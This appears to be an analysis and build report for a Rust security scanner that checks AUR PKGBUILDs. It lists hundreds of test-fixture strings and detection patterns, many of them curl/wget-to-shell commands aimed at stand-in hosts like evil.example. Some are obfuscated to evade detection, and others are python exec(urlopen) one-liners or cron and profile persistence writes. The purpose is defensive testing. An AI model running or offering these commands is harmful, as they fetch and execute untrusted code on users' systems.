node <(curl -s https://evil.example/i) src/analyzer/remote_exec.rs:1016
python3 -c "$(curl -s https://evil.example/i)" src/analyzer/remote_exec.rs:1017
perl -e "$(curl -s https://evil.example/i)" src/analyzer/remote_exec.rs:1018
node -e "$(curl -s https://evil.example/i)" src/analyzer/remote_exec.rs:1019
ruby -e "$(wget -qO- https://evil.example/i)" src/analyzer/remote_exec.rs:1020
curl -s https://evil.example/x | expect src/analyzer/remote_exec.rs:1035
curl -s https://evil.example/x | guile src/analyzer/remote_exec.rs:1036
curl -s https://evil.example/x | scala src/analyzer/remote_exec.rs:1037
curl -s https://evil.example/x | clojure src/analyzer/remote_exec.rs:1038
curl -s https://evil.example/x | racket src/analyzer/remote_exec.rs:1039
curl -s https://evil.example/x | elixir src/analyzer/remote_exec.rs:1040
curl -s https://evil.example/x | raku src/analyzer/remote_exec.rs:1041
curl -s https://evil.example/x | crystal src/analyzer/remote_exec.rs:1042
curl -s https://evil.example/x | bb src/analyzer/remote_exec.rs:1043
curl -s https://evil.example/x | ts-node src/analyzer/remote_exec.rs:1044
curl -s https://evil.example/x | runhaskell src/analyzer/remote_exec.rs:1045
curl -s https://evil.example/x | toybox sh src/analyzer/remote_exec.rs:1046
curl -s https://evil.example/x | R src/analyzer/remote_exec.rs:1047
php -r "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1065
perl -ne "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1066
ruby -ropen-uri -e "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1067
python3 -B -c "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1068
python3 <<< "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1069
curl -s https://x/x | Rfoo src/analyzer/remote_exec.rs:1105
curl -s https://x/x | bbtool src/analyzer/remote_exec.rs:1105
curl -fsSL https://example.com/x | /usr/bin/tee out src/analyzer/remote_exec.rs:1120
curl -fsSL https://example.com/x | env grep foo src/analyzer/remote_exec.rs:1121
curl -fsSL https://example.com/x | busybox cat src/analyzer/remote_exec.rs:1122
post_install() {\u{a} cat <<EOF\u{a} To set up, run: curl -fsSL https://x.io/i.sh | sh\u{a}EOF\u{a}} src/analyzer/remote_exec.rs:1139
"cu""rl" -fsSL https://evil.example/x.sh | sh src/analyzer/remote_exec.rs:1155
curl -O https://example.com/src.tar.gz src/analyzer/remote_exec.rs:1169
git:// src/analyzer/source.rs:93 src/parser/mod.rs:227
git+http:// src/analyzer/source.rs:93
\u{a}pkgname=bash\u{a}pkgver=5.2\u{a}pkgrel=1\u{a}url="https://git.savannah.gnu.org/cgit/bash.git"\u{a}source=("git+https://git.savannah.gnu.org/git/bash.git#commit=abc1234")\u{a}sha256sums=('SKIP')… src/analyzer/source.rs:515
\u{a}pkgname=openconnect-sso\u{a}pkgver=0.8.1\u{a}pkgrel=1\u{a}url="https://github.com/vlaci/openconnect-sso"\u{a}source=("git+https://github.com/PrestonHager/openconnect-sso.git")\u{a}sha256sums=('SK… src/analyzer/source.rs:537
\u{a}pkgname=tool\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}url="https://github.com/alice/tool"\u{a}source=("https://github.com/alice/tool/archive/v1.0.tar.gz")\u{a}sha256sums=('SKIP')\u{a} src/analyzer/source.rs:565
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("http://example.com/file.tar.gz")\u{a} src/analyzer/source.rs:583
\u{a}pkgname=xremap\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("LICENSE::https://raw.githubusercontent.com/xremap/xremap/v1.0/LICENSE")\u{a}sha256sums=('SKIP')\u{a} src/analyzer/source.rs:601
\u{a}pkgname=evil\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://bit.ly/totally-legit")\u{a}sha256sums=('SKIP')\u{a} src/analyzer/source.rs:621
https://t.co/abc src/analyzer/source.rs:638
https://bit.ly/x src/analyzer/source.rs:639
LICENSE::https://raw.githubusercontent.com/x/y src/analyzer/source.rs:641
git+https://github.com/u/r.git src/analyzer/source.rs:645
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=("git+https://github.com/u/r.git#branch=main")\u{a} src/analyzer/source.rs:653
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=("git+https://github.com/u/r.git#commit=deadbeefcafebabe")\u{a} src/analyzer/source.rs:663
git+https://github.com/u/r.git#commit=deadbeefcafebabe src/analyzer/source.rs:708
git+https://git.sr.ht/~u/r src/analyzer/source.rs:709
git+https://github.com.evil.tld/u/r.git src/analyzer/source.rs:714
git+https://github.com@evil.tld/u/r.git src/analyzer/source.rs:715
git+https://github.com\@evil.tld/u/r.git src/analyzer/source.rs:716
git+https://evil.example/u/r.git src/analyzer/source.rs:717
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/app.tar.gz"\u{a} "git+https://github.com/x/y.git"\u{a} "local.patch")\u{a}sha256sums=('aaaaaaaaaaaaaaaaaaaa… src/analyzer/threat_intel.rs:381
https://example.com/app.tar.gz src/analyzer/threat_intel.rs:401
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=('https://e.example/real.tgz' 'https://e.example/d1' 'https://e.example/d2')\u{a}sha256sums=('{z}' '{a}' '{b}')\u{a} src/analyzer/threat_intel.rs:485
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=('https://bob:hunter2@host.example/x.tgz?t=1#frag')\u{a}sha256sums=('SKIP')\u{a} src/analyzer/threat_intel.rs:495
https://host.example/x.tgz?t=1 src/analyzer/threat_intel.rs:499
https://aur.archlinux.org/rpc/v5 src/aur.rs:17
https://aur.archlinux.org src/aur.rs:23
http://proxy:3128 src/aur.rs:862 src/aur.rs:882
https://aur.archlinux.org/x.git src/aur.rs:887 src/aur.rs:895
A source uses an insecure transport (http://, ftp://, git://, git+http://), tamperable in transit. src/catalog/mod.rs:202
pkgname=tool\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://github.com/alice/tool/archive/v1.0.tar.gz")\u{a} src/history.rs:982 src/history.rs:1018
pkgname=tool\u{a}pkgver=1.1\u{a}pkgrel=1\u{a}source=("https://github.com/alice/tool/archive/v1.1.tar.gz"\u{a} "0001-fix-build.patch"\u{a} "tool.service")\u{a} src/history.rs:985
pkgname=tool\u{a}pkgver=1.1\u{a}pkgrel=1\u{a}source=("https://github.com/alice/tool/archive/v1.1.tar.gz"\u{a} "https://cdn.evil.example/payload.bin")\u{a} src/history.rs:1021
post_install() { curl -s https://evil.example/x.sh | bash; }\u{a} src/lib.rs:475
install=demo.install\u{a}source=('https://example.com/a.tar.gz') src/lib.rs:788
(?ix)\u{a} (?: [a-z][a-z0-9+.\-]* :// )? # optional scheme://\u{a} (?: [^\s/@'\x22]+ @ )? # optional userinfo@\u{a} ( [a-z0-9] (?:[a-z0-9\-]*[a-z0-9])? … src/neturl.rs:31
[://] src/neturl.rs:54
https://{} src/neturl.rs:129
https://github.com/u/r src/neturl.rs:286
git+https://github.com/u/r.git#commit=abc src/neturl.rs:290
git://git.sr.ht/~u/r src/neturl.rs:294
https://github.com@evil.tld/x src/neturl.rs:299
https://evil.example:8443/x src/neturl.rs:309
hxxps://evil[.]example src/neturl.rs:327
https://evil.example src/neturl.rs:327
hxxp://evil[.]example/x src/neturl.rs:330
git+https://github.com\@evil.tld/r.git src/neturl.rs:341
https://github.com\.evil.tld/x src/neturl.rs:344
https://github.com/u\r src/neturl.rs:347
https://github.com/u/evil.example src/neturl.rs:355 src/neturl.rs:358
https://evil.example/u/github.com src/neturl.rs:363
curl https://c2.evil.example/beacon src/neturl.rs:371
wget hxxps://evil[.]example/x src/neturl.rs:375 src/threat_intel/ioc.rs:356
git clone https://github.com/evil.example-mirror src/neturl.rs:380
source=(https://a.example/x git+https://b.example/y.git) src/neturl.rs:391
https://github.com/KiefStudioMA/ks-aur-scanner.git src/neturl.rs:404
git+https://github.com/KiefStudioMA/ks-aur-scanner.git#tag=v2.1.0 src/neturl.rs:408
git+https://github.com/foo/bar.git#tag=v1.0 src/neturl.rs:418
git+https://github.com/foo/bar.git#tag=v2.0 src/neturl.rs:419
https://github.com/foo/bar/archive/v1.0.tar.gz src/neturl.rs:421
https://github.com/foo/bar/archive/v2.0.tar.gz src/neturl.rs:422
https://downloads.example.com/v1.2.3/tool-linux-x64.tar.gz src/neturl.rs:433
https://downloads.example.com/v1.2.4/tool-linux-x64.tar.gz src/neturl.rs:434
https://example.com/tool-1.0.tar.gz src/neturl.rs:438
https://example.com/tool-1.1.tar.gz src/neturl.rs:439
https://downloads.sourceforge.net/project/foo/1.2/foo-1.2.tar.gz src/neturl.rs:443
https://downloads.sourceforge.net/project/foo/1.3/foo-1.3.tar.gz src/neturl.rs:444
https://ftp.gnu.org/gnu/bash/bash-5.1.tar.gz src/neturl.rs:448
https://ftp.gnu.org/gnu/bash/bash-5.2.tar.gz src/neturl.rs:449
https://github.com/alice/tool/archive/v1.0.tar.gz src/neturl.rs:466
https://gitlab.com/alice/tool/-/archive/1.0/tool-1.0.tar.gz src/neturl.rs:470
https://github.com/vlaci/openconnect-sso src/neturl.rs:479
https://github.com/PrestonHager/openconnect-sso src/neturl.rs:480
https://github.com/foo/bar src/neturl.rs:487
https://cdn.evil.example/foo/bar src/neturl.rs:488
https://example.com src/neturl.rs:495 src/parser/mod.rs:452 src/parser/static_parser.rs:627
https://example.com/ src/neturl.rs:499
svn:// src/parser/mod.rs:230
hg:// src/parser/mod.rs:233
bzr:// src/parser/mod.rs:236
https:// src/parser/mod.rs:241
http:// src/parser/mod.rs:243
ftps:// src/parser/mod.rs:245
ftp:// src/parser/mod.rs:247
file:// src/parser/mod.rs:249
https://example.com/file.tar.gz src/parser/mod.rs:441
myfile.tar.gz::https://example.com/file.tar.gz src/parser/mod.rs:445
http://example.com src/parser/mod.rs:453
git+https://github.com/repo src/parser/mod.rs:455
\u{a}# Maintainer: Example <example@example.com>\u{a}pkgname=example-package\u{a}pkgver=1.0.0\u{a}pkgrel=1\u{a}pkgdesc="An example package"\u{a}arch=('x86_64' 'aarch64')\u{a}url="https://example.com"… src/parser/static_parser.rs:589
source=("https://example.com/a.tar.gz") # primary\u{a} src/parser/static_parser.rs:655
source+=("git+https://github.com/u/r.git#commit=deadbeef")\u{a} src/parser/static_parser.rs:656
https://example.com/a.tar.gz src/parser/static_parser.rs:664
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}\u{a}build() {\u{a} echo "}"\u{a} curl https://evil/x | sh\u{a}}\u{a} src/parser/static_parser.rs:717
curl https://evil/x | sh src/parser/static_parser.rs:725
source=("https://legit/a.tar.gz)\u{a} src/parser/static_parser.rs:747
x" "https://evil/backdoor.sh")\u{a} src/parser/static_parser.rs:748
"git+https://h/r.git#branch=v1)\u{a} src/parser/static_parser.rs:771
"https://evil/backdoor.sh")\u{a} src/parser/static_parser.rs:773 src/parser/static_parser.rs:857
source=("https://example.com/file-(1).tar.gz"\u{a} src/parser/static_parser.rs:797
"https://example.com/second.tar.gz")\u{a} src/parser/static_parser.rs:798
source=('http://legit.example/a.tar.gz\u{a} src/parser/static_parser.rs:816
http://legit.example/a.tar.gz src/parser/static_parser.rs:833
source=(#"https://example.com/old.tar.bz2"\u{a} src/parser/static_parser.rs:900
"https://example.com/new.tar.bz2")\u{a} src/parser/static_parser.rs:901
https://example.com/new.tar.bz2 src/parser/static_parser.rs:908
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=('http://legit.example/x.tar.gz\u{a} src/parser/static_parser.rs:920
http://legit.example/x.tar.gz src/parser/static_parser.rs:929
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=(http://legit/a \\u{a}" #) x" http://evil/x)\u{a} src/parser/static_parser.rs:943
http://evil/x src/parser/static_parser.rs:947 src/parser/static_parser.rs:965 src/parser/static_parser.rs:990
http://legit/a src/parser/static_parser.rs:951 src/parser/static_parser.rs:969
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=(http://legit/a \\u{a}' #) x' http://evil/x)\u{a} src/parser/static_parser.rs:961
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=("http://legit/a\u{a}#http://evil/x\u{a}")\u{a} src/parser/static_parser.rs:982
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=(\u{a} "https://example.com/file1.tar.gz"\u{a} "https://example.com/file2.tar.gz"\u{a})\u{a} src/parser/static_parser.rs:1017
x=curl\u{a}$x https://evil/p | sh src/resolve.rs:751
curl https://evil/p | sh src/resolve.rs:752
c=wget\u{a}${c} https://evil/p -O- | bash src/resolve.rs:757
wget https://evil/p -O- | bash src/resolve.rs:758
c=$(printf '\x63url')\n$c https://evil | sh src/resolve.rs:765
curl https://evil | sh src/resolve.rs:769 src/resolve.rs:776 src/resolve.rs:783 src/resolve.rs:789 src/resolve.rs:875 src/resolve.rs:888 src/resolve.rs:890 src/resolve.rs:896 src/resolve.rs:898 src/resolve.rs:912 src/resolve.rs:920 src/resolve.rs:941 src/resolve.rs:943 src/resolve.rs:945 src/resolve.rs:947
c="cu""rl"\u{a}$c https://evil | sh src/resolve.rs:775
a=curl\u{a}b=a\u{a}${!b} https://evil | sh src/resolve.rs:782
a=cur\u{a}b=${a}l\u{a}$b https://evil | sh src/resolve.rs:788
p="curl https://evil | sh"\u{a}eval $p src/resolve.rs:794
eval curl https://evil | sh src/resolve.rs:795
$undefined https://x | sh src/resolve.rs:823
a=curl\u{a}a=$(date)\u{a}$a https://evil | sh src/resolve.rs:841
curl https://evil src/resolve.rs:844
x=curl\u{a}$x https://evil | sh\u{a}make src/resolve.rs:851
build() {\u{a} x=curl\u{a}}\u{a}package() {\u{a} $x https://evil | sh\u{a}} src/resolve.rs:864
$x https://evil src/resolve.rs:867
export x=curl\u{a}$x https://evil | sh src/resolve.rs:874
c=curl; s=sh; $c https://evil | $s src/resolve.rs:887
a=cur && b=${a}l && $b https://evil | sh src/resolve.rs:889
f() {\u{a} local c=curl s=sh\u{a} $c https://evil | $s\u{a}} src/resolve.rs:895
declare -x c=curl s=sh\u{a}$c https://evil | $s src/resolve.rs:897
_c=curl\u{a}build() {\u{a} l=sh\u{a} $_c https://evil | $l\u{a}}\u{a}package() {\u{a} $_c https://evil | $l\u{a}} src/resolve.rs:910
curl https://evil | $l src/resolve.rs:913
package() {\u{a} $_c https://evil | sh\u{a}}\u{a}_c=curl src/resolve.rs:919
cmd=(curl -s https://evil); "${cmd[@]}" | sh src/resolve.rs:925
curl -s https://evil | sh src/resolve.rs:926
curl${IFS}-s${IFS}https://evil|sh src/resolve.rs:931
curl -s https://evil|sh src/resolve.rs:932 src/resolve.rs:934
curl$IFS$9-s https://evil|sh src/resolve.rs:933
printf '\x63\x75\x72\x6c https://evil' | sh src/resolve.rs:946
dl() { curl -s https://evil -o /tmp/x; }\u{a}build() {\u{a} dl\u{a}}\u{a}unrelated() {\u{a} wget https://x\u{a}} src/resolve.rs:966
curl -s https://evil src/resolve.rs:968
https?://(pastebin\.com|paste\.ee|ptpb\.pw|ix\.io|dpaste|hastebin\.com|privatebin|ghostbin\.co|rentry\.co)/ src/rules/mod.rs:836
stratum\+tcp:// src/rules/mod.rs:1404
https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} src/rules/mod.rs:1665
://\[[0-9a-fA-F:]+\] src/rules/mod.rs:2487
://0x[0-9a-fA-F]+(?:[:/]|$) src/rules/mod.rs:2490
://\d{8,10}(?:[:/]|$) src/rules/mod.rs:2491
curl https://malicious.com/script.sh | bash src/rules/mod.rs:2645
curl -s https://evil.example/c > /etc/cron.d/pkg src/rules/mod.rs:2738
build() {\u{a} x=curl\u{a} $x https://evil.example/p.sh | bash\u{a}} src/rules/mod.rs:2859
build() {\u{a} dl=wget\u{a} $dl -qO- https://evil.example/p | sh\u{a}} src/rules/mod.rs:2860
build() {\u{a} c=$(printf '\x63url')\u{a} $c https://evil.example/x | bash\u{a}} src/rules/mod.rs:2876
build() {\u{a} msg="see https://example.com/docs"\u{a} echo "$msg"\u{a}} src/rules/mod.rs:2889
printf 'hi'; echo "$(curl https://evil/x)" > ~/.profile src/rules/mod.rs:2924
build() {\u{a} curl https://evil/x.sh \\u{a} | bash\u{a}} src/rules/mod.rs:2940
CURL https://evil/x | BASH src/rules/mod.rs:2987
deno run https://evil/x.ts src/rules/mod.rs:3035
curl -fsSL https://evil/x | dash src/rules/mod.rs:3144
curl -fsSL https://evil/x | ash src/rules/mod.rs:3157
curl -fsSL https://evil/x | mksh src/rules/mod.rs:3158 src/rules/mod.rs:3213
wget -qO- https://evil/x | ash src/rules/mod.rs:3159
curl -fsSL https://evil/x | /bin/sh src/rules/mod.rs:3202
curl -fsSL https://evil/x | /usr/bin/bash src/rules/mod.rs:3203
curl -fsSL https://evil/x | busybox sh src/rules/mod.rs:3204
curl -fsSL https://evil/x | busybox ash src/rules/mod.rs:3205
curl -fsSL https://evil/x | env sh src/rules/mod.rs:3206
curl -fsSL https://evil/x | /usr/bin/env sh src/rules/mod.rs:3207
curl -fsSL https://evil/x | env -i sh src/rules/mod.rs:3208
curl -fsSL https://evil/x | env FOO=bar sh src/rules/mod.rs:3209
curl -fsSL https://evil/x | command busybox sh src/rules/mod.rs:3210
curl -fsSL https://evil/x | nice dash src/rules/mod.rs:3211
curl -fsSL https://evil/x | yash src/rules/mod.rs:3214
curl -fsSL https://evil/x | xonsh src/rules/mod.rs:3215
curl -fsSL https://evil/x | nu src/rules/mod.rs:3216
curl -fsSL https://evil/x | oil src/rules/mod.rs:3217
wget -qO- https://evil/x | /bin/sh src/rules/mod.rs:3226
curl https://e/x | make -f - src/rules/mod.rs:3270
curl -fsSL https://x | /usr/bin/tee out.txt src/rules/mod.rs:3300
curl -fsSL https://x | env grep foo src/rules/mod.rs:3301
curl -fsSL https://x | nice make src/rules/mod.rs:3302
curl -fsSL https://x | command ls src/rules/mod.rs:3303
curl -fsSL https://x | /bin/number src/rules/mod.rs:3304
curl -fsSL https://x | busybox cat src/rules/mod.rs:3305
curl -fsSL https://x | awkward-tool src/rules/mod.rs:3306
PIP_INDEX_URL=https://evil/idx pip install x src/rules/mod.rs:3362
GOPROXY=https://evil go build src/rules/mod.rs:3365
pip install --index-url https://evil/idx x src/rules/mod.rs:3367
npm_config_registry=https://evil npm i src/rules/mod.rs:3372
NPM_CONFIG_REGISTRY=https://evil npm i src/rules/mod.rs:3376
post_install() {\u{a} warning curl -s https://evil.example/x\u{a}}\u{a} src/rules/shadow.rs:490
curl -s https://evil.example/x | sh src/rules/shadow.rs:492
OPAQUE: runs code from https://evil.example/x.sh src/sbom.rs:612
"cu""rl" -fsSL https://evil/x | sh src/textutil.rs:601
curl -fsSL https://evil/x | sh src/textutil.rs:602
c\url -fsSL https://evil/x | b\ash src/textutil.rs:611
curl -fsSL https://evil/x | bash src/textutil.rs:612
curl -fsSL https://evil/x \\u{a} | bash src/textutil.rs:753
https://example.com/\u{1b}[31mFAKE-CLEAN\u{1b}[0m/x.tar.gz src/textutil.rs:811
source: https://github.com/alice/tool/archive/v1.0.tar.gz src/textutil.rs:831
curl https://evil.example/beacon src/threat_intel/ioc.rs:354
source=(https://github.com/u/evil.example-mirror) src/threat_intel/ioc.rs:361
curl https://notevil.example/x src/threat_intel/ioc.rs:363
git clone https://evil.example.attacker.net/x src/threat_intel/ioc.rs:364
https://www.virustotal.com/api/v3 src/threat_intel/remote.rs:42
https://urlhaus-api.abuse.ch/v1 src/threat_intel/remote.rs:43
https://user:s3cret@host.example/a/b.tgz?x=1&y=2#sha=1 src/threat_intel/remote.rs:305
https://host.example/a/b.tgz?x=1&y=2 src/threat_intel/remote.rs:306
https://tok@host.example src/threat_intel/remote.rs:309
https://host.example src/threat_intel/remote.rs:310
https://host.example/a@b?e=x@y src/threat_intel/remote.rs:314 src/threat_intel/remote.rs:315
https://evil.example\@good.example/x src/threat_intel/remote.rs:319 src/threat_intel/remote.rs:320
https://a.example/f.tgz src/threat_intel/remote.rs:323 src/threat_intel/remote.rs:324

info url_literal test 46

package() {\u{a} c=curl; s=sh\u{a} $c -s http://e.example/x | $s\u{a}} tests/detection_hardening.rs:49
_c=curl\u{a}package() {\u{a} $_c -s http://e.example/x | sh\u{a}} tests/detection_hardening.rs:61
package() {\u{a} $_c -s http://e.example/x | sh\u{a}}\u{a}_c=curl tests/detection_hardening.rs:73
build() {\u{a} c=curl\u{a} true\u{a}}\u{a}package() {\u{a} $c -s http://e.example/x | sh\u{a}} tests/detection_hardening.rs:83
package() {\u{a} local c=curl s=sh\u{a} $c -s http://e.example/x | $s\u{a}} tests/detection_hardening.rs:94
package() {\u{a} c=curl\u{a} $c -s http://e.example/x | sh\u{a}} tests/detection_hardening.rs:105
curl -s http://e.example/x | rev | sh tests/detection_hardening.rs:131
curl -s http://e.example/x | tr a-z n-za-m | bash tests/detection_hardening.rs:132
wget -qO- http://e.example/x | sed s/a/b/ | rev | sh tests/detection_hardening.rs:133
package() {\u{a} curl -s http://e.example/x | rev | tee out\u{a} curl -s http://e.example/y || sh -c 'echo failed'\u{a}} tests/detection_hardening.rs:144
python3 -c "import urllib.request;exec(urllib.request.urlopen('http://e.example/x').read())" tests/detection_hardening.rs:157
python -c "from urllib.request import urlopen; exec(urlopen('http://e.example/x').read())" tests/detection_hardening.rs:158
package() {\u{a} git clone http://e.example/r.git r && ./r/install.sh\u{a}} tests/detection_hardening.rs:180
package() {\u{a} git clone http://e.example/r.git r\u{a} sh r/install.sh\u{a}} tests/detection_hardening.rs:181
package() {\u{a} git clone http://e.example/r.git\u{a} cd r\u{a} ./install.sh\u{a}} tests/detection_hardening.rs:182
run() { "$@"; }\u{a}package() {\u{a} git clone http://e.example/r.git r\u{a} run ./r/install.sh\u{a}} tests/detection_hardening.rs:183
package() {\u{a} git clone http://e.example/r.git r\u{a} cd r\u{a} make\u{a} install -Dm755 r/bin/tool "$pkgdir/usr/bin/tool"\u{a} cp -r r/docs "$pkgdir/usr/share/doc"\u{a}} tests/detection_hardening.rs:193
package() {\u{a} curl -o f http://e.example/x\u{a} sh f\u{a}} tests/detection_hardening.rs:205
package() {\u{a} curl -o ~/.x http://e.example/x; bash ~/.x\u{a}} tests/detection_hardening.rs:206 tests/detection_hardening.rs:223
package() {\u{a} f=/tmp/f\u{a} curl -o $f http://e.example/x\u{a} bash $f\u{a}} tests/detection_hardening.rs:207
package() {\u{a} wget -O f http://e.example/x\u{a} chmod +x f\u{a} ./f\u{a}} tests/detection_hardening.rs:208
package() {\u{a} curl -o t http://e.example/x\u{a} ldd ./t\u{a}} tests/detection_hardening.rs:211
package() {\u{a} curl -fsSLo f http://e.example/x && . ./f\u{a}} tests/detection_hardening.rs:212
package() {\u{a} curl -O http://e.example/x.sh\u{a} bash x.sh\u{a}} tests/detection_hardening.rs:213
package() {\u{a} curl -o data.tar.gz http://e.example/x.tar.gz\u{a} tar xf data.tar.gz\u{a} chmod +x helper.sh\u{a} sh helper.sh\u{a} wget -o wget.log -O out.bin http://e.example/y\u{a} cat out.… tests/detection_hardening.rs:233
f() { curl -s http://e.example/x | sh; }\u{a}package() {\u{a} f\u{a}} tests/detection_hardening.rs:246
helper() { echo hi; }\u{a}dl() { curl -s http://e.example/x -o /tmp/y; }\u{a}package() {\u{a} helper\u{a}} tests/detection_hardening.rs:261
package() {\u{a} cmd=(curl -s http://e.example/x); "${cmd[@]}" | sh\u{a}} tests/detection_hardening.rs:276
package() {\u{a} bash <<EOF\u{a}$(curl -s http://e.example/x)\u{a}EOF\u{a}} tests/detection_hardening.rs:289
package() {\u{a} cat <<EOF > "$pkgdir/usr/share/doc/t/README"\u{a}Run: $(curl -s http://e.example/x) to see\u{a}EOF\u{a} bash <<< word\u{a} make\u{a}} tests/detection_hardening.rs:299
curl${IFS}-s${IFS}http://e.example/x|sh tests/detection_hardening.rs:311
curl$IFS-s$IFS'http://e.example/x'|bash tests/detection_hardening.rs:312
wget${IFS}-qO-${IFS}http://e.example/x|sh tests/detection_hardening.rs:313
curl -o ~/.x http://e.example/x tests/detection_hardening.rs:503
warning() {\u{a} "$@" | sh\u{a}}\u{a}post_install() {\u{a} warning curl -s https://evil.example/x\u{a}}\u{a} tests/package_scan_hardening.rs:51
plain() { "$@" | sh; }\u{a}prepare() { plain wget -qO- https://evil.example/x; }\u{a} tests/package_scan_hardening.rs:64
note() { sh -c "$1"; }\u{a}package() {\u{a} note "curl -s https://evil.example/x | sh"\u{a}}\u{a} tests/package_scan_hardening.rs:72
msg2() { eval "$1"; }\u{a}package() {\u{a} msg2 "curl -s https://evil.example/x | sh"\u{a}}\u{a} tests/package_scan_hardening.rs:81
msg() { eval "$@"; }\u{a}post_install() {\u{a} msg 'curl -s https://evil.example/x | sh'\u{a}}\u{a} tests/package_scan_hardening.rs:96
post_install() {\u{a} warning curl -s https://evil.example/x\u{a}}\u{a} tests/package_scan_hardening.rs:109
package() {\u{a} note "curl -s https://example.org/x | sh is what upstream suggests"\u{a}}\u{a} tests/package_scan_hardening.rs:121
msg() { echo "==> $1" >&2; }\u{a}package() {\u{a} msg "curl -s https://example.org/x | sh is what upstream suggests"\u{a}}\u{a} tests/package_scan_hardening.rs:131
curl -s https://evil.example/x | sh\u{a} tests/package_scan_hardening.rs:147 tests/package_scan_hardening.rs:157 tests/package_scan_hardening.rs:174

info unsafe_code library 1

1 unsafe blocks, functions or impls src/history.rs:138

Run: full

succeeded

The full build covers everything the earlier cargo check run did, so only the full run is shown.

Ended: agent reported the end
Guest: exit code 0
Run time: 1 min 0 s
VM restore: 73 ms
Payload: 10251 files, 119.3 MiB
Files opened: 14412

Processes 202

Siblings that ran the same program with the same result and the same processes below are folded into one row, with their number. Hide the 195 compiler processes (rustc, C toolchain)

Process	Arguments	Start	Took	Exit
cargo /usr/local/bin/cargo	build --locked --offline	4 ms	1 min 0 s	0
└rustc /usr/local/bin/rustc ×126	--crate-name libc --edition=2021 /cw/vendor/libc-0.2.189/src/lib.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type lib --emit=dep-info,metadata,link -C embed-bitcode=no -C debuginfo=2 --allow=unused_qualifications --warn=clippy::unnecessary_semicolon --allow=clippy::unnecessary_cast --warn=clippy::ptr_as_ptr --allow=clippy::non_minimal_cfg --allow=clippy::missing_safety_doc --warn=clippy::map_unwrap_or --warn=clippy::manual_assert --allow=clippy::identity_op --warn=clippy::explicit_iter_loop --cfg feature="default" --cfg feature="std" --check-cfg cfg(docsrs,test) --check-cfg cfg(feature, values("align", "const-extern-fn", "default", "extra_traits", "rustc-dep-of-std", "rustc-std-workspace-core", "std", "use_std"))	338 ms	1.1 s	0
└rustc /usr/local/bin/rustc ×6	--crate-name build_script_main --edition=2021 /cw/vendor/openssl-sys-0.9.117/build/main.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type bin --emit=dep-info,link -C embed-bitcode=no --check-cfg cfg(docsrs,test) --check-cfg cfg(feature, values("aws-lc", "aws-lc-fips", "bindgen", "bssl-sys", "openssl-src", "unstable_boringssl", "vendored")) -C metadata=382f0c39eef1cf14 -C extra-filename=-9db41c071c247f6c --out-dir /work/target/debug/build/openssl-sys-9db41c071c247f6c -L dependency=/work/target/debug/deps --extern cc=/work/target/debug/deps/libcc-d2f014ceb86c8cd0.rlib --extern pkg_config=/work/target/debug/deps/libpkg_config-df4e365301e68a72.rlib --extern vcpkg=/work/target/debug/deps/libvcpkg-8e4474c5871a9cef.rlib --cap-lints allow	3.8 s	354 ms	0
└toolchain /usr/bin/cc	-m64 /work/target/debug/build/openssl-sys-9db41c071c247f6c/rustcQUbOqi/symbols.o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c.build_script_main.6032cb28ac8b50ca-cgu.0.rcgu.o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c.build_script_main.6032cb28ac8b50ca-cgu.1.rcgu.o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c.crh3byju91qwlu8z7x0s7rapk.rcgu.o -Wl,--as-needed -Wl,-Bstatic /work/target/debug/deps/libvcpkg-8e4474c5871a9cef.rlib /work/target/debug/deps/libpkg_config-df4e365301e68a72.rlib /work/target/debug/deps/libcc-d2f014ceb86c8cd0.rlib /work/target/debug/deps/libfind_msvc_tools-47d85dec6b12ba9f.rlib /work/target/debug/deps/libshlex-69c11c7589f0c135.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libstd-64f5f36fb0927694.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libpanic_unwind-549498e8b2e4d924.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libo	4.0 s	160 ms	0
